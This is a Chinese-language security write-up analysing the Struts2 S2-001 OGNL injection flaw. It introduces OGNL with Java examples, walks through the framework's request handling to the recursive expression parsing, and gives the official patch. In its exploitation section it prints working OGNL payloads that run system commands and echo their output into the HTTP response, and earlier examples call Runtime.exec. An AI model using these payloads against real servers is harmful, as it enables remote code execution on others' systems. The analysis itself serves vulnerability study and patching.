Struts2-S2-001

Struts2

Struts2简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

OGNL表达式

对于Struts2的漏洞,ONGL表达式是相关的基础,我们来做相关了解

OGNL简介

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。

它使用相同的表达式去存取对象的属性。

环境配置

环境配置具体看这位师傅的文章了

https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md

OGNL表达式

OGNL三要素

  • 表达式(Expression)

表达式是OGNL表达式中最为核心的部分,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干什么。因此表达式是一个带有语法意义的字符串,该字符串会规定操作的类型和内容。OGNL 表达式支持大量的表达式,如 “链式访问对象”、表达式计算、甚至还支持 Lambda 表达式。

  • Root 对象

OGNL 的 Root 对象可以理解为 OGNL 的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是 Root 对象,这就意味着,如果有一个 OGNL 表达式,那么我们需要针对 Root 对象来进行 OGNL 表达式的计算并且返回结果。

  • 上下文环境

有个 Root 对象和表达式,我们就可以使用 OGNL 进行简单的操作了,如对 Root 对象的赋值与取值操作。但是,实际上在 OGNL 的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL 的上下文环境是一个 Map 结构,称之为 OgnlContext。Root 对象也会被添加到上下文环境当中去。

OGNL基础使用

pom.xml文件导入
1
2
3
4
5
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.1.19</version>
</dependency>

我们先来创建两个实体类

Address.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package pojo;

public class Address {
private String port;
private String address;

public Address(String port,String address) {
this.port = port;
this.address = address;
}

public String getPort() {
return port;
}

public void setPort(String port) {
this.port = port;
}

public String getAddress() {
return address;
}

public void setAddress(String address) {
this.address = address;
}
}

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package pojo;

public class User {

private String name;
private int age;
private Address address;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Address getAddress() {
return address;
}

public void setAddress(Address address) {
this.address = address;
}

public User() {}

public User(String name, int age) {
this.name = name;
this.age = age;
}
}
对ROOT对象的访问
OGNL使用一种链式风格进行对对象的访问

链式编程,如其名是一条长长的链子,类似如下

1
2
3
StringBuffer buffer = new StringBuffer();
// 链式编程
buffer.append("aaa").append("bbb").append("ccc");

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static void main(String[] args) throws Exception{
User user = new User("sean", 20);
Address address = new Address("045000", "山西晋中");
user.setAddress(address);
System.out.println(Ognl.getValue("name", user)); // sean
System.out.println(Ognl.getValue("name.length()", user)); // 4
System.out.println(Ognl.getValue("address", user).toString()); // Address(port=045000, address=山西晋中)
System.out.println(Ognl.getValue("address.port", user)); // 045000
}
}

对上下文对象的访问
使用OGNL的时候,若不设置上下文对象,系统就会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象的参数,则会使用传入的上下文对象

当我们访问上下文环境中的参数时,需要在表达式前面加#,表示了与访问根ROOT对象的区别

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Test {
public static void main(String[] args) throws Exception{
User user = new User("sean", 20);
Address address = new Address("045000", "山西晋中");
user.setAddress(address);
Map<String, Object> context = new HashMap<String, Object>();
context.put("init", "hello");
context.put("user", user);
System.out.println(Ognl.getValue("#init", context, user));
System.out.println(Ognl.getValue("#user.name", context, user));
System.out.println(Ognl.getValue("age", context, user));
System.out.println(Ognl.getValue("#user", context, user));

}
}

对静态变量与静态方法的访问

同样的,OGNL也可以对静态变量和静态方法进行调用,格式如\@[class]@[field/method ()]

对应代码如下

1
2
3
4
5
6
7
8
9
10
public class Test {
public static void main(String[] args) throws Exception{
AtVisit();
}
public static void AtVisit() throws OgnlException {
Object object1 = Ognl.getValue("@com.Static@ABC", null);
Object object2 = Ognl.getValue("@com.Static@exec(\"calc\")", null);
System.out.println(object1);
}
}

静态调用的类代码如下

1
2
3
4
5
6
7
8
public class Static {
public static String ABC = "calc";

public static void exec(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
};
}

其中调用静态方法时的返回的object2,是基于静态方法的返回值,这里师傅们可以自行修改尝试

方法的调用
如果需要调用 Root 对象或者上下文对象当中的方法也可以使用 . 方法的方式来调用。甚至可以传入参数。就和正常的方法调用是一样的,在传参时也可以使用OGNL表达式来传入参数

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test {
public static void main(String[] args) throws Exception{
User user = new User();
Map<String, Object> context = new HashMap<String, Object>();
context.put("name", "sean");
context.put("password", "password");
System.out.println(Ognl.getValue("getName()", context, user)); // null
Ognl.getValue("setName(#name)", context, user);
System.out.println(Ognl.getValue("getName()", context, user)); // sean
Ognl.getValue("setName(@com.Static@exec(\"calc\"))", context, user);
System.out.println(Ognl.getValue("getName()", context, user)); // exec
}
}

对数组和集合的访问
OGNL 支持对数组按照数组下标的顺序进行访问。此方式也适用于对集合的访问,对于 Map 支持使用键进行访问

其中可以使用数字的加减,字符的拼接来访问,还有如下一些简单操作

1
2
3
4
5
2 + 4 // 整数相加(同时也支持减法、乘法、除法、取余 [% /mod]、)
"hell" + "lo" // 字符串相加
i++ // 递增、递减
i == j // 判断
var in list // 是否在容器当中

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Test {
public static void main(String[] args) throws Exception{
User user = new User();
Map<String, Object> context = new HashMap<String, Object>();
String[] strings = {"aa", "bb"};
ArrayList<String> list = new ArrayList<String>();
list.add("aa");
list.add("bb");
Map<String, String> map = new HashMap<String, String>();
map.put("key1", "value1");
map.put("key2", "value2");
context.put("list", list);
context.put("strings", strings);
context.put("map", map);
System.out.println(Ognl.getValue("#strings[0]", context, user)); // aa
System.out.println(Ognl.getValue("#list[0]", context, user)); // aa
System.out.println(Ognl.getValue("#list[0 + 1]", context, user)); // bb
System.out.println(Ognl.getValue("#map['key1']", context, user)); // value1
System.out.println(Ognl.getValue("#map['key' + '2']", context, user)); // value2
}
}

投影与选择
OGNL 支持类似数据库当中的选择与投影功能
  • 投影:

选出集合当中相同属性组合成一个新的集合,语法为collection.{XXX},其中XXX是该集合中每个元素的公共属性

  • 选择:

选择就是选出集合中符合条件的元素组合成一个新的集合,语法为collection.{Y XXX},其中Y是一个选择操作符,XXX是选择用的逻辑表达式

其中选择操作符有三种

  1. ?:选择满足条件的所有元素
  2. ^:选择满足条件的第一个元素
  3. $:选择满足条件的最后一个元素

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Test {
public static void main(String[] args) throws Exception{
User p1 = new User("name1", 11);
User p2 = new User("name2", 22);
User p3 = new User("name3", 33);
User p4 = new User("name4", 44);
Map<String, Object> context = new HashMap<String, Object>();
ArrayList<User> list = new ArrayList<User>();
list.add(p1);
list.add(p2);
list.add(p3);
list.add(p4);
context.put("list", list);
System.out.println(Ognl.getValue("#list.{age}", context, list));
// [11, 22, 33, 44]
System.out.println(Ognl.getValue("#list.{age + '-' + name}", context, list));
// [11-name1, 22-name2, 33-name3, 44-name4]
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null), User(name=name4, age=44, address=null)]
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null)]
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list));
// [User(name=name4, age=44, address=null)]
}
}

创建对象
OGNL支持直接使用表达式来创建对象,其中有三种情况
  • List对象:使用{},中间使用,进行分割
  • Map对象:使用#{},中间使用,进行分割键值对
  • 任意对象:直接使用已知对象的构造方法进行构造
1
2
3
4
5
6
7
8
public class Test {
public static void main(String[] args) throws Exception{
System.out.println(Ognl.getValue("#{'key1':'value1','key2':'value2'}", null)); // {key1=value1}
System.out.println(Ognl.getValue("{'key1','value1'}", null)); // [key1, value1]
System.out.println(Ognl.getValue("new pojo.User()", null));
// User(name=null, age=0, address=null)
}
}

这里可以直接创建任意对象,感觉就很有攻击面了,可以直接命令执行

代码如下,两者皆可执行

1
2
3
4
5
6
7
public class EvilCalc {  
public static void main(String[] args) throws OgnlException {
Ognl.getValue("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()", null);

Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", null);
}
}

S2-001

漏洞影响范围

  • WebWork 2.1 (with altSyntax enabled)
  • WebWork 2.2.0 - WebWork 2.2.5
  • Struts 2.0.0 - Struts 2.0.8

而 Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3 所以会有漏洞

流程分析

我们这里看到struts的Filterorg.apache.struts2.dispatcher.FilterDispatcher类的doFilter方法

在该方法中,它做了以下业务:

  • 设置编码和本地化信息
  • 创建 ActionContext 对象
  • 分配当前线程的分发器
  • 将request对象进行封装
  • 获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
  • 执行 Action 请求, 也就是 serviceAction()方法

doFilter方法中下到断点,前面做了一些基础的数据转换和获取,最后我们跟进serviceAction方法

首先获取当前请求是否已经有ValueStack对象,如果是接收到chain跳转方式的请求时,能够接管上次请求的请求和数据。

如果没有 ValueStack 对象,获取当前线程的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中

后续获取 ActionMapping 中配置的 namespace, name, method 值

这里通过ActionProxyFactory创建了ActionProxy对象,在这个过程中也会创建StrutsActionProxy的实例,StrutsActionProxy是继承自com.opensymphony.xwork2.DefaultActionProxy,实际在该代理对象的内部就持有了DefaultActionInvocation的实例,下一步就为Action代理对象设置执行的方法。

继续跟进到proxy.execute()方法内,可以看到这里获取了上下文,并用setter方法赋值上下文

但这里只是对一些数据进行操作,具体的业务逻辑我们进入invoke方法中查看

进入invoke方法后,在interceptors.hasNext判断中,使用迭代器进行顺序递归执行配置的所有拦截器, 所迭代的内容是Struts包中default.xml文件内配置的interceptors标签中的内容

在这么多拦截器中,param是用来处理我们输入的参数的,所有对于OGNL表达式的处理,应该在这个interceptor中,对于该漏洞的本质,其实就是在Struct2中哪个地方进行了OGNL表达式的解析操作

在迭代器处理完成后,我们就进入到了invokeActionOnly方法中

invokeActionOnly方法中,调用了invokeAction方法,我们走进该方法中调试,发现最后经过反射调用execute方法,开始处理用户的逻辑信息

1
2
3
public String invokeActionOnly() throws Exception {
return invokeAction(getAction(), proxy.getConfig());
}

处理完用户逻辑后,我们步出该方法,继续向下走,最终跟进executeResult()

首先用creatResult创建了一个result对象,主要逻辑肯定在execute方法内,继续跟进

走入execute方法中,继续走进doExecute方法内

doExecute方法内,准备了发送响应信息,设置了pageContext参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}

public void doExecute(String finalLocation, ActionInvocation invocation) throws Exception {
if (log.isDebugEnabled()) {
log.debug("Forwarding to location " + finalLocation);
}

PageContext pageContext = ServletActionContext.getPageContext();
if (pageContext != null) {
pageContext.include(finalLocation);
} else {
HttpServletRequest request = ServletActionContext.getRequest();
HttpServletResponse response = ServletActionContext.getResponse();
RequestDispatcher dispatcher = request.getRequestDispatcher(finalLocation);
if (dispatcher == null) {
response.sendError(404, "result '" + finalLocation + "' not found");
return;
}

if (!response.isCommitted() && request.getAttribute("javax.servlet.include.servlet_path") == null) {
request.setAttribute("struts.view_uri", finalLocation);
request.setAttribute("struts.request_uri", request.getRequestURI());
dispatcher.forward(request, response);
} else {
dispatcher.include(request, response);
}
}

}

之后会调用JspServlet来处理请求,解析标签时,在标签的开始和结束位置,分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport中的 doStartTag()(一些初始化操作) 及 doEndTag() (标签解析后调用end方法)方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody());
this.component = null;
return 6;
}

public boolean end(Writer writer, String body) {
this.evaluateParams();

try {
super.end(writer, body, false);
this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
} catch (Exception var7) {
Exception e = var7;
LOG.error("error when rendering", e);
} finally {
this.popComponentStack();
}

return false;
}

跟进evaluateParams方法,在该if判断中,因为altSyntax默认开启,所以走入if判断中

将username拼接进%{}中,这里本意是想使用%{username}来获取域中的username参数,但是由于存在循环解析,使用造成了OGNL注入

我们继续看到findValue方法中,进行寻找值的操作,并继续走入translateVariables方法

在这里,会将拼接好的%{username}中的%{}截取,只剩下username

然后使用findValue方法,将我们所输入的username查找出来并赋值给o,也就是我们输入的%{10*10},然后进行新的一次循环,将我们输入的东西再次当成OGNL表达式解析,就造成了此漏洞

漏洞利用

漏洞利用基于上述的OGNL表达式
1
2
3
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞修复

通过漏洞分析可以看到,是由于 struts2 错误的使用了递归循环来进行OGNL表达式的解析,所导致的OGNL表达式的执行

官方修复如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {

int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;

if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);

Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}

return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

其中很明显多了一段代码,这里判断了循环的次数,从而在解析到%{1+1}的时候不会继续向下递归

1
2
3
4
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}

总结

这个OGNL表达式解析的地方分析的我好头疼TvT